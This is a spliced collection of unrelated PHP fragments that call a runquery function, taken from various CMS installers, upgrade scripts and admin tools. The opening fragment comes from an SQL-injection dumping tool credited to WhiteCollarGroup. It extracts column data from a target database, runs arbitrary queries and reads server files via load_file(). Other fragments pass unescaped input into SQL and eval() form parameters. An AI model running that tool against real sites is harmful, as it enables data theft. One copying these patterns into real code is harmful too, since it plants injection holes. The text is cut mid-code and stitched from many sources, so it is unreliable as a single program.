$own['cl'] = explode(",", gets()); // pega dados das colunas foreach ($own['cl'] as $coluna) { $i = 0; puts("[=] Column: {$coluna}"); while (true) { $pega = runquery("SELECT {$coluna} FROM {$own['db']}.{$own['tb']} LIMIT {$i},1"); if ($pega) { puts(" - {$pega}"); $i++; } else { break; } } echo "\n[ ] -+-\n"; } main(); } elseif ($resp == "2") { puts("[~] RUN SQL QUERY"); puts("[!] You can run a SQL code. It can returns a one-line and one-column content. You can also use concat() or group_concat()."); puts("[?] Query (enter for exit): "); $query = gets(); if (!$query) { main(); } else { main(runquery($query . "\n")); } } elseif ($resp == "3") { puts("[?] File path (may not have priv):"); $file = hex(gets()); $le = runquery("SELECT load_file({$file}) AS wc"); if ($le) { main($le); } else { main("File not found, empty or no priv!"); } } elseif ($resp == "4") { puts("Coded by WhiteCollarGroup"); puts("www.wcgroup.host56.com"); puts("*****@*****.**"); puts("twitter.com/WCollarGroup"); puts("facebook.com/WCollarGroup"); puts("wcollargroup.blogspot.com"); main(); } else { main("[!] Wrong choice."); } }
INSERT INTO cdb_prompttype (`key`, `name`, `script`) VALUES ('myinvite','{$installlang[manyou][prompttypeinvite]}','userapp.php?script=notice&action=invite'); EOF; runquery($sql); $sql1 = <<<EOF REPLACE INTO cdb_settings (variable, value) VALUES ('my_status', '0'); REPLACE INTO cdb_settings (variable, value) VALUES ('my_siteid', ''); REPLACE INTO cdb_settings (variable, value) VALUES ('my_sitekey', ''); EOF; if(empty($_DCACHE['settings']['my_siteid'])) { runquery($sql1); } if(empty($_DCACHE['settings']['uchomeurl'])) { getstatinfo('manyou2dz', '20090727', $_DCACHE['settings']['funcsiteid'], $_DCACHE['settings']['funckey']); } function getstatinfo($mark, $version, $siteid, $key) { global $db, $tablepre, $dbcharset, $_DCACHE; $onlineip = $GLOBALS['onlineip']; $funcurl = 'http://stat.discuz.com/func/funcstat.php'; $members = $_DCACHE['settings']['totalmembers']; $bbname = $_DCACHE['settings']['bbname']; $PHP_SELF = htmlspecialchars($_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME']); $url = htmlspecialchars('http://'.$_SERVER['HTTP_HOST'].preg_replace("/\/+(api|archiver|wap)?\/*$/i", '', substr($PHP_SELF, 0, strrpos($PHP_SELF, '/'))).'/'); $posts = $db->result($db->query("SELECT count(*) FROM {$tablepre}posts"), 0); $hash = $bbname.$url.$mark.$version.$posts;
} if (!@mysql_select_db($dbname) && $_POST['create']) { //mysql_query("DROP DATABASE `$database`;"); $database = addslashes($dbname); if (version_compare(mysql_get_server_info(), '4.1.0', '>=')) { // $DATABASESQL=$dbcharset=='gbk'?"DEFAULT CHARACTER SET gbk COLLATE gbk_chinese_ci":"DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci"; $DATABASESQL = "DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci"; } mysql_query("CREATE DATABASE `{$database}` " . $DATABASESQL); } require_once $configfile; $installSQL = 'iCMS_SQL.sql'; !is_readable($installSQL) && exit('数据库文件不存在或者读取失败'); require_once iPATH . 'include/mysql.class.php'; //iCMS_DB::$show_errors=true; runquery(FS::read($installSQL)); iCMS_DB::query("INSERT INTO `#iCMS@__members` (`groupid`, `username`, `password`, `nickname`, `gender`, `info`, `power`, `cpower`, `regtime`, `lastip`, `lastlogintime`, `logintimes`, `post`, `type`, `status`) VALUES ('1', '{$admin}', '" . md5($password) . "', '管理员', '0', '', '', '', '" . time() . "', '', '0', '0', '0', '1', '1');"); iCMS_DB::query("UPDATE `#iCMS@__config` SET `value` = '{$setupURL}' WHERE `name` ='setupURL'"); iCMS_DB::query("UPDATE `#iCMS@__config` SET `value` = '{$publicURL}' WHERE `name` ='publicURL'"); iCMS_DB::query("UPDATE `#iCMS@__config` SET `value` = '{$htmlURL}' WHERE `name` ='htmlURL'"); iCMS_DB::query("UPDATE `#iCMS@__config` SET `value` = '{$uploadURL}' WHERE `name` ='uploadURL'"); iCMS_DB::query("UPDATE `#iCMS@__config` SET `value` = '{$setupURL}' WHERE `name` ='tagURL'"); iCMS_DB::query("UPDATE `#iCMS@__config` SET `value` = '{$usercpURL}' WHERE `name` ='usercpURL'"); $tmp = iCMS_DB::getArray("SELECT * FROM `#iCMS@__config`"); $config_data = "<?php\n\t\$config=array(\n"; for ($i = 0; $i < count($tmp); $i++) { $_config .= "\t\t\"" . $tmp[$i]['name'] . "\"=>\"" . $tmp[$i]['value'] . "\",\n"; } $config_data .= substr($_config, 0, -2); $config_data .= "\t\n);?>"; FS::write(iPATH . 'include/site.config.php', $config_data);
<?php if (!defined('IN_ADMIN')) { exit('Access Denied'); } if ($mygroup < 9) { exit($_ERROR['no_power']); } require_once GAME_ROOT . './include/system.func.php'; $sqldir = GAME_ROOT . './gamedata/sql/'; foreach (array('log', 'chat', 'mapitem', 'newsinfo') as $v) { $d = file_get_contents("{$sqldir}{$v}.sql"); $a = getmicrotime(); if ($v == 'mapitem') { for ($i = 0; $i < 30; $i++) { $d2 = str_replace("\r", "\n", str_replace(' bra_', ' test_' . $i, $d)); runquery($d2); } } else { $d = str_replace("\r", "\n", str_replace(' bra_', ' test_', $d)); runquery($d); } $b = getmicrotime(); $time = ($b - $a) * 1000; echo "{$v}.sql 执行时间:{$time} 毫秒 <br>"; } //var_dump($db->query("DROP TABLE test_log")); ?>
function runsql($noprint) { global $search, $auth, $idn, $id, $site_path, $im_array, $test, $i, $er, $lang, $_POST, $insertid, $r; if (!$this->checkPermission(1)) { return 0; } if ($this->act != "select") { $sql = $this->sql; } else { $sql = $this->action; } if ($sql) { if (!($numrows = $_POST['numrows'])) { $numrows = 1; } $tmpsql = $sql; for ($i = 0; $i < $numrows; $i++) { $sql = $tmpsql; $sql = str_replace("<", "<", $sql); $sql = str_replace(">", ">", $sql); $sqlar = explode("#", $sql); foreach ($sqlar as $sql) { $j++; $l = substr($sql, 0, 1); if ($l == "^") { eval($this->set_form_params(substr($sql, 1), $i)); } else { if (($this->mode == 2 && ($this->attributes['field'] || $this->attributes['item']) || $this->mode == 1 && ($this->document->getElementsByTagName("fields") || $this->document->getElementsByTagName("header"))) && $this->name != "delete" && $this->name != "create" && $this->name != "drop") { $sql = $this->set_form_params($sql, $i); } else { $sql = set_params($sql); } if ($er) { break; } else { if (strstr($sql, "insert")) { $c = 1; } //print $sql."<br>"; $sqlstr = str_replace(";", "", $sql); $sqlstr = str_replace("#dot", ";", $sqlstr); if ($res = runquery($sqlstr)) { $str = set_params($this->success); } else { $er .= "<font color=black>Error<br> " . str_replace(";", "", $sql) . " <br></font>" . mysql_error(); } if (substr($sql, 0, 6) == "select") { $r = mysql_fetch_array($res); } if (!$er) { if ($im_array) { foreach ($im_array as $v) { //print "<br>".$v['name']." ".$v['type']; $name = $this->table; if (!$name) { $name = "unfiled"; } if ($auth->user == 455) { //print "$sql<br>"; } //print $v['type']; $q = select("select @insertid"); if ($q[0]) { $idn = $q[0]; } else { $idn = $id; } if ($name && $v['image'] && $idn) { $path = $site_path . "images/" . $name . "/" . strtolower($v['name']) . "/"; if (!file_exists($path)) { mkdir_r($path); } $file = fopen($path . $idn . ".jpg", "w"); fputs($file, $v['image']); } if ($v['small'] && $name && $idn) { $path = $site_path . "images/" . $name . "/small/"; if (!file_exists($path)) { mkdir_r($path); } $file = fopen($path . $idn . ".jpg", "w"); fputs($file, $v['small']); } fclose($file); } } unset($im_array); } } } $r1 = select("select @error"); if ($r1[0]) { if (strstr($r1[0], "#")) { if (substr($r1[0], strlen($r1[0]) - 1, 1) == "#") { $r1[0] = substr($r1[0], 0, strlen($r1[0]) - 1); } $ar = explode("#", $r1[0]); foreach ($ar as $a) { $er .= message($a) . "<br>"; } } else { $er .= message($r1[0]); } break; } //поиск---------------------------------- if ($this->act == "insert" || substr($sql, 0, 6) == "insert") { $q = select("select SearchID from en_search where TableName='{$this->table}'"); if ($q[0] && $search) { $insert = select("@insertid"); $search = str_replace("\n\r", " ", $search); $search = str_replace("Є", "е", $search); $search = downstr(addslashes($search)); $ar = explode(" ", $search); $position = 1; foreach ($ar as $word) { if ($word) { mysql_query("insert into en_searchindex(Word,SearchID,RecordID,Position) values('{$word}','{$q['0']}','{$insert['0']}','{$position}')"); $position++; } } } unset($search); } if ($this->act == "update" || substr($sql, 0, 6) == "update") { $q = select("select SearchID from en_search where TableName='{$this->table}'"); if ($q[0] && $search) { mysql_query("delete from en_searchindex where SearchID='{$q['0']}' and RecordID='{$id}'"); $search = str_replace("\n\r", " ", $search); $search = str_replace("Є", "е", $search); $search = cut_end_word(downstr(addslashes($search))); $ar = explode(" ", $search); $position = 1; foreach ($ar as $word) { if ($word) { runsql("insert into en_searchindex(Word,SearchID,RecordID,Position) values('{$word}','{$q['0']}','{$id}','{$position}')"); $position++; } } } unset($search); } if ($this->act == "delete" || substr($sql, 0, 6) == "delete") { $q = select("select SearchID from en_search where TableName='{$this->table}'"); if ($q[0]) { mysql_query("delete from en_searchindex where SearchID='{$q['0']}' and RecordID='{$id}'"); } } //поиск----------------------------------- } if ($er) { break; } } //if($auth->user==455) //{ // exit; //} if ($er) { $retstr = icon('error', "<font color=red>{$er}</font>") . "<br>"; } elseif ($str) { $retstr = icon('ok', "{$str}") . "<br>"; } else { $retstr = ""; } if (!$noprint) { print $retstr; } else { return $retstr; } } }
$query = $db->query("SELECT * FROM " . DB_TABLEPRE . "answer WHERE tag<>''"); while ($answer = $db->fetch_array($query)) { $question = $db->fetch_first("SELECT * FROM " . DB_TABLEPRE . "question WHERE `id`=" . $answer['qid']); $taglist = tstripslashes(unserialize($answer['tag'])); $stime = $answer['time']; foreach ($taglist as $index => $tag) { $stime += rand(60, 7200); $tag = '<p>' . strip_tags($tag) . '</p>'; if ($index % 2 == 0) { $db->query("INSERT INTO " . DB_TABLEPRE . "answer_append(appendanswerid,answerid,author,authorid,content,time) VALUES (NULL," . $answer['id'] . ",'" . $question['author'] . "'," . $question['authorid'] . ",'{$tag}',{$stime})"); } else { $db->query("INSERT INTO " . DB_TABLEPRE . "answer_append(appendanswerid,answerid,author,authorid,content,time) VALUES (NULL," . $answer['id'] . ",'" . $answer['author'] . "'," . $answer['authorid'] . ",'{$tag}',{$stime})"); } } } runquery($extend); $config = "<?php \r\ndefine('DB_HOST', '" . DB_HOST . "');\r\n"; $config .= "define('DB_USER', '" . DB_USER . "');\r\n"; $config .= "define('DB_PW', '" . DB_PW . "');\r\n"; $config .= "define('DB_NAME', '" . DB_NAME . "');\r\n"; $config .= "define('DB_CHARSET', '" . DB_CHARSET . "');\r\n"; $config .= "define('DB_TABLEPRE', '" . DB_TABLEPRE . "');\r\n"; $config .= "define('DB_CONNECT', 0);\r\n"; $config .= "define('TIPASK_CHARSET', '" . TIPASK_CHARSET . "');\r\n"; $config .= "define('TIPASK_VERSION', '2.5');\r\n"; $config .= "define('TIPASK_RELEASE', '20140511');\r\n"; $fp = fopen(TIPASK_ROOT . '/config.php', 'w'); fwrite($fp, $config); fclose($fp); cleardir(TIPASK_ROOT . '/data/cache'); cleardir(TIPASK_ROOT . '/data/view');
public function addfield($addsql) { runquery("ALTER TABLE " . XDB::table($this->_table) . " ADD " . $addsql); }
<?php /* dsu_medalCenter (C)2010 Discuz Student Union This is NOT a freeware, use is subject to license terms $Id: uninstall.php 29 2011-01-15 13:35:57Z chuzhaowei@gmail.com $ */ $filename = array('data/plugin/dsu_medalCenter', 'source/function/cache/cache_dsuMedalCenter.php'); $_sql = <<<EOT DROP TABLE IF EXISTS `pre_dsu_medaltype`; DROP TABLE IF EXISTS `pre_dsu_medalfield`; EOT; if ($step == 1) { foreach ($fileList as $filename) { @FSO::unlink($filename); } cpmsg($setpArr[$step][0] . '完成!进入下一步操作。', 'action=plugins&operation=pluginuninstall&dir=dsu_medalCenter&step=' . $nextstep, 'succeed'); } elseif ($step == 2) { runquery($_sql); cpmsg($setpArr[$step][0] . '完成!进入下一步操作。', 'action=plugins&operation=pluginuninstall&dir=dsu_medalCenter&step=' . $nextstep, 'succeed'); }
<?php if (!defined('IN_KKFRAME')) { exit('Access Denied'); } runquery(' CREATE TABLE IF NOT EXISTS `download` ( `path` varchar(128) NOT NULL, `content` text NOT NULL, PRIMARY KEY (`path`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8; CREATE TABLE IF NOT EXISTS `update_source` ( `id` varchar(16) NOT NULL, `path` varchar(128) NOT NULL, PRIMARY KEY (`id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8; '); saveSetting('version', '1.14.1.23'); showmessage('成功更新到 1.14.1.23!', './');
function install_testdata($username, $uid) { global $_G, $db, $tablepre; showjsmessage(lang('install_test_data') . " ... " . lang('succeed')); $sqlfile = ROOT_PATH . './install/data/common_district_{#id}.sql'; for ($i = 1; $i < 4; $i++) { $sqlfileid = str_replace('{#id}', $i, $sqlfile); if (file_exists($sqlfileid)) { $sql = file_get_contents($sqlfileid); $sql = str_replace("\r\n", "\n", $sql); runquery($sql); } } }
function runsql($noprint) { global $id, $search, $er, $lang, $HTTP_POST_VARS, $insertid, $r; if (!$this->checkPermission(1)) { return 0; } if ($this->sql) { if (!($numrows = $HTTP_POST_VARS['numrows'])) { $numrows = 1; } for ($i = 0; $i < $numrows; $i++) { if ($this->act != "select") { $sql = $this->sql; } else { $sql = $this->action; } $sqlar = explode("#", $sql); foreach ($sqlar as $sql) { $l = substr($sql, 0, 1); if ($l == "^") { eval($this->set_form_params(substr($sql, 1), $i)); } else { if ($this->name != "delete" && $this->name != "create" && $this->name != "drop") { $sql = $this->set_form_params($sql, $i); } else { $sql = set_params($sql); } if ($er) { break; } else { if (strstr($sql, "insert")) { $c = 1; } if ($res = runquery(str_replace(";", "", $sql))) { $str = set_params($this->success); unset($HTTP_POST_VARS); } else { $er .= "<font color=black>Error<br> " . str_replace(";", "", $sql) . " <br></font>" . mysql_error(); } if (substr($sql, 0, 6) == "select") { $r = mysql_fetch_array($res); } //print "$sql<br><font color=red>".mysql_error()."</font><br>"; if ($num = mysql_insert_id()) { $insertid = $num; mysql_query("set @insertid='{$insertid}'"); } if (substr($sql, 0, 6) == "insert") { $insertid = mysql_insert_id(); } $res = mysql_query("select @error"); $r1 = mysql_fetch_array($res); if ($r1[0]) { if (strstr($r1[0], "#")) { if (substr($r1[0], strlen($r1[0]) - 1, 1) == "#") { $r1[0] = substr($r1[0], 0, strlen($r1[0]) - 1); } $ar = explode("#", $r1[0]); foreach ($ar as $a) { $er .= message($a) . "<br>"; } } else { $er .= message($r1[0]); } break; } //поиск---------------------------------- if ($this->act == "insert" || substr($sql, 0, 6) == "insert") { $q = select("select SearchID from en_search where TableName='{$this->table}'"); if ($q[0] && $search) { $insert = select("@insertid"); $search = str_replace("\n\r", " ", $search); $search = str_replace("Є", "е", $search); $search = downstr(addslashes($search)); $ar = explode(" ", $search); $position = 1; foreach ($ar as $word) { if ($word) { mysql_query("insert into en_searchindex values('{$word}','{$q['0']}','{$insert['0']}','{$position}')"); $position++; } } } unset($search); } if ($this->act == "update" || substr($sql, 0, 6) == "update") { $q = select("select SearchID from en_search where TableName='{$this->table}'"); if ($q[0] && $search) { mysql_query("delete from en_searchindex where SearchID='{$q['0']}' and RecordID='{$id}'"); $search = str_replace("\n\r", " ", $search); $search = str_replace("Є", "е", $search); $search = cut_end_word(downstr(addslashes($search))); $ar = explode(" ", $search); $position = 1; foreach ($ar as $word) { if ($word) { mysql_query("insert into en_searchindex values('{$word}','{$q['0']}','{$id}','{$position}')"); $position++; } } } unset($search); } //поиск----------------------------------- } } } if ($er) { break; } } //exit; if ($er) { $retstr = icon('error', "<font color=red>{$er}</font>") . "<br>"; } elseif ($str) { $retstr = icon('ok', "{$str}") . "<br>"; } else { $retstr = ""; } if (!$noprint) { print $retstr; } else { return $retstr; } } }
if (strpos($config, 'define(\'UC_FOUNDERSALT\'') !== FALSE) { $config = preg_replace("/define\\(\\'UC_FOUNDERSALT\\', \\'(\\w+)\\'\\);/", "define('UC_FOUNDERSALT', '{$ucsalt}');\r\n", $config); } else { $config = preg_replace("/(.+)\\?\\>\$/", "\\1", trim($config)); $config .= "define('UC_FOUNDERSALT', '{$ucsalt}');\r\n"; } $fp = fopen(UC_CONFIG, 'w'); fwrite($fp, $config); fclose($fp); header("Location:upgrade_1.0.0Beta_1.0.0.php?action=db"); } } elseif ($action == 'db') { showheader(); $db = new db(); $db->connect(UC_DBHOST, UC_DBUSER, UC_DBPW, UC_DBNAME, UC_DBCHARSET); runquery($sql); @mkdir(UC_ROOT . './data/tmp', 0777); @mkdir(UC_ROOT . './data/backup', 0777); dir_clear(UC_ROOT . './data/view'); echo "The upgrade is complete. Please delete the upgrade_1.0.0Beta_1.0.0.php"; showfooter(); } function dir_clear($dir) { $directory = dir($dir); while ($entry = $directory->read()) { $filename = $dir . '/' . $entry; if (is_file($filename)) { @unlink($filename); } }
<div class="btn"><div class="btn_right"><a hidefocus="true" href="../">进入首页</a></div></div> <div class="btn"><div class="btn_right"><a hidefocus="true" href="../sysadmin/login.php">直接进入管理后台</a></div></div> </div> <?php } ?> </form> <div class="clear"></div> </div> <div class="bottom"></div> </div> <strong>Powered by iweb_sns V1.0 © 2010 </strong> <br /><br /> <?php if ($step == '3' && $creatable) { runquery(openfile($installSQL), $tablePreStr); ?> <script type="text/javascript">showMsg('');showMsg('共创建了<?php echo $tablenum; ?> 个数据表.');</script> <script type="text/javascript">$('createTables').disabled = '';$('createTables').value = '完 成';$('createTables').style.color = '#4e4e4e';$('createTables').style.cursor = 'pointer';</script> <?php $sql = "INSERT INTO isns_admin(`admin_name`,`admin_password`,`admin_group`,`active_time`,`is_pass`) VALUES('{$admin}','" . md5($password) . "','superadmin',NOW(),1)"; $sql = str_replace('isns_', $tablePreStr, $sql); if (!$db->query($sql)) { echo '创建后台管理员失败!'; exit; } } ?>
"<td>$info[dateline]</td>\n". "<td>$info[type]</td>\n". "<td>".get_real_size($info[size])."</td>\n". "<td>$info[method]</td>\n". "<td>$info[volume]</td>\n". "<td><a href=\"?action=all_restore&file=$info[filename]&importsubmit=yes&auto=off\">[导入]</a></td>\n</tr>\n"; } $exportinfo .= '</table>'; echo $exportinfo; } echo "<br>"; cexit(""); } } elseif($action == 'all_runquery') {//运行sql if(!empty($_POST['sqlsubmit']) && $_POST['queries']) { runquery($queries); } htmlheader(); runquery_html(); htmlfooter(); } elseif($action == 'all_checkcharset') {//编码检测 $maincharset = $dbcharset; $tooltip = '<h4>编码检查</h4>'."<div class=\"specialdiv\">操作提示:<ul> <li>MySQL版本在4.1以上才有字符集的设定,所以数据库4.1版本以上的才能使用本功能</li> <li>如果某些字段的字符集不一致,有可能会导致程序中出现乱码,尽量把字符集不一致的字段转换成统一字符集</li> <li>有关MySQL编码机制可以参考 <a href='http://www.discuz.net/viewthread.php?tid=1022673' target='_blank'>点击查看</a></li> <li>一些关于MySQL编码方面的<a href='http://www.discuz.net/viewthread.php?tid=1070306' target='_blank'>教程</a></li> <li><font color=red>此功能只是帮你将数据库字段的编码转换,并不进行数据库内数据的编码转换,修复前请先备份你的数据库,以免造成不必要的损失,如果因为你没有备份数据库造成的损失与本程序无关</font></li> <li><font color=red>如需要转换数据库内的数据编码,请使用“<a href='?action=datago'>转码</a>”功能</font></li> </ul></div>"; if($my_version > '4.1') {
} keke_tpl_class::swritefile($config_path, $config_content); // 写配置文件 if ($data_type == 'b') { // 带演示版本 $sqlfile = $sqldemofile; } $sql = file_get_contents($sqlfile); $sql = str_replace("\r\n", "\n", $sql); include INSTALL_ROOT . 'tpl' . DIRECTORY_SEPARATOR . $step . '.tpl.php'; runquery($sql, $tablepre, $db); // ob for ($i = 1; $i <= 3; $i++) { $sql_district = file_get_contents(INSTALL_ROOT . 'data/keke_witkey_district_' . $i . '.sql'); $sql_district = str_replace("\r\n", "\n", $sql_district); runquery($sql_district, $tablepre, $db); // ob } $password = md5($admin_password); $slt = randomkeys(6); // 随机码 $sec_code = get_password($password, $slt); if ($data_type == 'b') { // 演示版本,更新数据 $db->query("update `{$tablepre}witkey_member` set username = '******',password = '******',email = '{$admin_email}',rand_code='{$slt}' where uid = 1"); $db->query("update `{$tablepre}witkey_space` set username = '******',password = '******',email = '{$admin_email}',sec_code='{$sec_code}',group_id = 1,status = 1 where uid = 1"); } else { // 纯净版本、插入数据 $db->query("replace INTO `{$tablepre}witkey_member`(`uid`,`username`,`password`,`email`,`rand_code`) VALUES ('1', '{$admin_account}','{$password}','{$admin_email}','{$slt}')"); $db->query("replace INTO `{$tablepre}witkey_space` (`uid`,`username`,`password`,`email`,`sec_code`,`group_id`,`status`,`reg_time`) VALUES('1','{$admin_account}','{$password}','{$admin_email}','{$sec_code}','1','1','" . time() . "')"); $db->query("replace INTO `{$tablepre}witkey_shop`(`uid`,`username`,`shop_name`,`shop_status`,`shop_type`) VALUES ('1', '{$admin_account}','{$admin_account}','1','1')");